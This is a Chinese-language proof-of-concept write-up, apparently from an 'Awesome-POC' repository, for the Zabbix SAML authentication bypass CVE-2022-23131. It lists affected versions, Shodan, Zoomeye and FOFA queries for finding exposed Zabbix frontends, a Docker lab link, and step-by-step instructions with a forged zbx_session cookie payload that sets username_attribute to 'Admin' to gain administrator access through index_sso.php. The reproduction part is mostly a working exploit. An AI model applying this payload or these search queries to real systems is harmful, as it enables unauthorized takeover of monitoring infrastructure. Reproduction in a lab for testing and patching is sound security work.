Awesome-POC/Web服务器漏洞/Zabbix SAML身份绕过漏洞 CVE-2022-23131.md
2023-08-28 15:55:36 +08:00

80 lines
2.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Zabbix SAML身份绕过漏洞 CVE-2022-23131
## 漏洞描述
Zabbix 是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。
Zabbix 由两部分构成Zabbix Server与可选组件 Zabbix Agent。Zabbix Server 可以通过 SNMP、Zabbix Agent、Ping、端口监视等方法提供对远程服务器/网络状态的监视、数据收集等功能,它可以运行在 Linux、Solaris、HP-UX、AIX、Free BSD、Open BSD、OS X等平台上。
在启用 SAML SSO 身份验证非默认的情况下未经身份验证的攻击者可以通过修改Cookie数据绕过身份认证获得对 Zabbix 前端的管理员访问权限。
## 漏洞影响
```
Zabbix 4.0.36
Zabbix 5.4.0
Zabbix 5.4.8
Zabbix 6.0.0alpha1
```
## 网络测绘
```
app="ZABBIX-监控系统" && body="saml"
```
### Zoomeye
```
title:"ZABBIX"
```
### Shodan
```
title="ZABBIX"
```
## 环境搭建
环境搭建:
- https://github.com/trganda/dockerenv/tree/master/vuln/zabbix/CVE-2022-23131
登录页面
![image-20220525164121127](images/202205251641192-16855817173634.png)
## 漏洞复现
检测该漏洞的主要步骤为:
- 获取 Set-Cookie 数据 zbx_session 参数的值
- 通过 URL 解码和 Base64 解码获得 zbx_session 参数 json 格式数据
- 通过在 json 中添加 saml_data 和 username_attribute 参数后重新 Base64 编码和 URL 编码构造 Payload
- 在请 HTTP 求头中添加构造的 Payload然后请求 index_sso.php
- 若 HTTP 响应头中包含 Location 头,说明存在漏洞,可直接进入管理界面
获取 Set-Cookie 数据,通过 URL 解码和 Base64 解码,得到如下数据:
```
{"sessionid":"4e733c1344948aba99594418d500ea6f","sign":"njRfEFFQEnQl4F6oQDXxfVF6UYcroMsEPKCB6UzewMCnGQpzpZseaBgGxEzNJOtbMRtwQNKJCqAXccrwc6rxpw=="}
```
构造如下 Payload
```
{"saml_data":{"username_attribute":"Admin"},"sessionid":"4e733c1344948aba99594418d500ea6f","sign":"njRfEFFQEnQl4F6oQDXxfVF6UYcroMsEPKCB6UzewMCnGQpzpZseaBgGxEzNJOtbMRtwQNKJCqAXccrwc6rxpw=="}
```
在 Burpsuite 中将通过 Base64 编码和 URL 编码后的 zbx_session 参数带入请求 index_sso.php成功登录。
也可以在浏览器中替换Cookie点击 SAML登录。
![image-20220525165011891](./images/202205251650948.png)